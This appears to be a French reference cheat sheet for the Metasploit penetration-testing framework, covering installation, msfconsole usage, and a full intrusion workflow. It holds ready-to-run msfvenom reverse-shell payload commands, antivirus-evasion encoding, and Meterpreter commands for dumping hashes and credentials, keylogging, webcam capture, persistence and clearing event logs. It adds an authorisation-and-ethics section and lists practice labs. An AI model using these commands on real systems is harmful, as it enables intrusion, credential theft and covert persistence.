| name | metasploit |
| description | Guide complet du framework Metasploit — msfconsole, modules, exploits, payloads, Meterpreter, msfvenom, post-exploitation, et bonnes pratiques. |
Metasploit Framework — Guide Complet
Présentation
Metasploit est un framework open-source de test d'intrusion développé par Rapid7.
Il fournit une plateforme pour développer, tester et exécuter du code d'exploit.
Langage : Principalement Ruby (modules en Ruby, certains en Python/C)
Licence : BSD
Port par défaut : 3790
Installation
Kali Linux (pré-installé)
sudo apt update && sudo apt install metasploit-framework
Ubuntu / Debian
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall
Initialisation de la base PostgreSQL
sudo service postgresql start
sudo msfdb init
Composants principaux
| Composant | Description |
|---|
| msfconsole | Interface en ligne de commande principale |
| Exploits | Code exploitant une vulnérabilité spécifique |
| Payloads | Code exécuté sur la cible après exploitation |
| Auxiliary | Scan, fingerprinting, fuzzing, DoS |
| Post | Modules post-exploitation (élévation, pivot, etc.) |
| Encoders | Encodage des payloads pour contourner la détection |
| NOPs | Générateurs de NOP sled |
| msfvenom | Générateur de payloads standalone |
Commandes essentielles msfconsole
Navigation et recherche
msfconsole
help
search <terme>
search type:exploit name:smb
search cve:2017-0144
use <chemin/module>
back
info
Gestion des sessions
sessions -l
sessions -i <id>
sessions -k <id>
sessions -u <id>
background / bg
Workspaces (projets)
workspace
workspace -a <nom>
workspace -d <nom>
workspace <nom>
Configuration de module
show options
show payloads
show targets
set RHOSTS <IP>
set RHOST <IP>
set RPORT <port>
set LHOST <IP>
set LPORT <port>
set PAYLOAD <chemin>
unset <option>
setg <option> <valeur>
Exécution
check
exploit / run
exploit -j
exploit -z
reload
Types de payloads
Classification
| Type | Description |
|---|
| inline / single | Payload unique, une seule étape |
| stager | Petit payload qui télécharge le payload principal |
| staged | Payload principal téléchargé par le stager |
Types de connexion
| Type | Description |
|---|
| bind shell | La cible écoute, l'attaquant se connecte |
| reverse shell | L'attaquant écoute, la cible se connecte (contourne firewall) |
| Meterpreter | Payload avancé en mémoire uniquement |
Convention de nommage
<OS>/<arch>/<type>/<connexion>
ex: windows/x64/meterpreter/reverse_tcp
ex: linux/x86/shell_reverse_tcp
msfvenom — Générateur de payloads
Syntaxe de base
msfvenom -p <payload> LHOST=<IP> LPORT=<port> -f <format> -o <fichier>
Exemples courants
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf
msfvenom -p python/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f asp -o shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f war -o shell.war
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o shell.exe
msfvenom -l encoders
msfvenom -l payloads
msfvenom -l formats
Meterpreter — Payload avancé
Avantages
- Réside uniquement en mémoire RAM (pas sur le disque)
- Communication chiffrée (TLS)
- Extensible via des extensions (kiwi, incognito, etc.)
- Multi-plateforme (Windows, Linux, macOS, Android)
Commandes Meterpreter essentielles
sysinfo
getuid
getprivs
ps
getpid
ls / cat / cd / pwd
download <fichier>
upload <local> <distant>
edit <fichier>
ipconfig / ifconfig
route
portfwd add -l <LPORT> -p <RPORT> -r <cible>
screenshot
webcam_list
webcam_snap
keyboard_send <texte>
keyscan_start / keyscan_dump / keyscan_stop
getsystem
hashdump
load kiwi
creds_all
run persistence -A -i 10 -p 4444 -r <LHOST>
run persistence -X -i 5 -p 4444 -r <LHOST>
run autoroute -s <réseau>
run post/multi/manage/autoroute
shell
execute -f cmd.exe -c
Workflow typique de pentest
1. Reconnaissance
db_nmap -sV -sC -O <cible>
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/http/dir_scanner
2. Identification des vulnérabilités
search type:exploit <service>
use <exploit>
show options
set RHOSTS <IP>
check
3. Exploitation
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <mon_IP>
exploit
4. Post-exploitation
getsystem
hashdump
load kiwi → creds_all
search type:post
5. Pivoting (mouvement latéral)
route add <réseau> <masque> <session_id>
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
6. Persistance et cleanup
run persistence
clearev
Resource Scripts (automatisation)
makerc /chemin/script.rc
resource /chemin/script.rc
Modules d'exploit notables
| Module | Cible |
|---|
exploit/windows/smb/ms17_010_eternalblue | Windows SMBv1 (WannaCry) |
exploit/windows/smb/ms08_067_netapi | Windows XP/2003 SMB |
exploit/multi/http/apache_struts2_rest_xstream | Apache Struts2 |
exploit/multi/http/tomcat_mgr_upload | Tomcat Manager |
exploit/unix/ftp/vsftpd_234_backdoor | vsFTPd backdoor |
exploit/multi/handler | Écouteur multi-payload |
Dépannage
| Problème | Solution |
|---|
| Erreur base de données | sudo msfdb init puis sudo msfdb start |
| Modules non trouvés | msfupdate |
| Erreur Ruby gems | gem update --system |
| Performance lente | sessions -K pour tuer toutes les sessions |
| Payload ne connecte pas | Vérifier LHOST, LPORT, pare-feu cible |
| Bind shell bloqué | Utiliser un reverse shell à la place |
Sécurité et éthique
- Toujours obtenir une autorisation écrite avant tout test
- Jamais utiliser sur des systèmes sans permission explicite
- Utiliser un environnement de lab isolé pour l'entraînement
- Documenter toutes les activités
- L'utilisation non autorisée est illégale et contraire à l'éthique
Labs d'entraînement
- Metasploitable 2/3 — VM volontairement vulnérables
- HackTheBox — Plateforme de challenges
- TryHackMe — Parcours d'apprentissage guidés
- VulnHub — VMs vulnérables téléchargeables
- OWASP WebGoat — Application web vulnérable
Aide-mémoire rapide
msfconsole
search <terme>
use <module>
show options
set RHOSTS <IP>; set PAYLOAD <...>
exploit
sessions -i <id>
bg
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe